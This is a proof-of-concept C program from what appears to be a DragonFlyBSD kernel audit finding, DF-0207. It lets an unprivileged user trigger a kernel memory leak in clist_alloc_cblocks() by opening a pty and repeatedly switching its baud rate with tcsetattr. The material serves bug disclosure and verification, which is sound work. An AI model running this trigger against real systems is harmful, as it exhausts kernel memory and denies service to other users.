DragonFlyBSD Kernel Audit
DF-0207 / df0207_leak.c
← back to finding ↓ download raw
/*
 * DF-0207 - Memory leak in clist_alloc_cblocks() [sys/kern/tty_subr.c]
 *
 * clist_alloc_cblocks() kmalloc()s a new c_data buffer, bcopy()s the old
 * contents into it, then overwrites cl->c_data = data WITHOUT kfree()ing
 * the old buffer.  Every resize leaks old_ccmax*sizeof(short) bytes of
 * M_TTYS kernel memory.
 *
 * Trigger (unprivileged): openpty() a master+slave pty, then repeatedly
 * tcsetattr() the slave with alternating output baud rates.  tty.c:1085
 * calls ttsetwater() whenever c_cflag/c_ispeed/c_ospeed change, which
 * recomputes the outq buffer size (x, tty.c:2489) and calls
 * clist_alloc_cblocks(&tp->t_outq, x).  Changing ospeed changes x ->
 * ccmax != cl->c_ccmax -> realloc -> leak.
 *
 * Build:  cc -O2 -o df0207_leak df0207_leak.c -lutil
 * Run:    ./df0207_leak [iterations]   (default 20000)
 *
 * Measure the leak with root BEFORE and AFTER:
 *     vmstat -m | grep -i ttys
 * M_TTYS MemUse grows monotonically (~6-10 KB per iteration).
 */

#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <termios.h>
#include <util.h>

/* termios output baud values that produce DIFFERENT outq ccmax:
 *   ccmax(outq) = imax(CLAMP(ospeed/10*3/2, 2*2048, 100), 2048) + OBUFSIZ + 100
 *   ospeed=9600   -> cps=960  -> ohiwat=1440 -> x=2048 -> ccmax=3172
 *   ospeed=115200 -> cps=11520-> ohiwat=4096 -> x=4096 -> ccmax=5220
 * Toggling the two leaks the previous buffer every iteration. */
#define SPEED_LO B9600
#define SPEED_HI B115200

int
main(int argc, char **argv)
{
	long iters = (argc > 1) ? strtol(argv[1], NULL, 10) : 20000;
	int mfd, sfd, i, changes = 0;
	char slavename[64];
	struct termios t0, t;

	if (openpty(&mfd, &sfd, slavename, NULL, NULL) < 0) {
		perror("openpty");
		return 1;
	}

	if (tcgetattr(sfd, &t0) < 0) {
		perror("tcgetattr");
		return 1;
	}

	printf("DF-0207: triggering clist_alloc_cblocks leak via tcsetattr\n");
	printf("        slave=%s toggling B9600<->B115200, %ld iterations\n",
	    slavename, iters);
	fflush(stdout);

	for (i = 0; i < iters; i++) {
		t = t0;
		cfsetospeed(&t, (i & 1) ? SPEED_LO : SPEED_HI);
		cfsetispeed(&t, (i & 1) ? SPEED_LO : SPEED_HI);
		if (tcsetattr(sfd, TCSANOW, &t) == 0)
			changes++;
	}

	printf("DF-0207: done. %d/%ld tcsetattr calls changed baud -> reallocated "
	       "outq buffer each time.\n", changes, iters);
	printf("DF-0207: each realloc leaked the PREVIOUS outq buffer "
	       "(old_ccmax * sizeof(short)).\n");
	printf("DF-0207: run 'vmstat -m | grep -i ttys' (as root) to observe "
	       "M_TTYS MemUse growth.\n");

	close(sfd);
	close(mfd);
	return 0;
}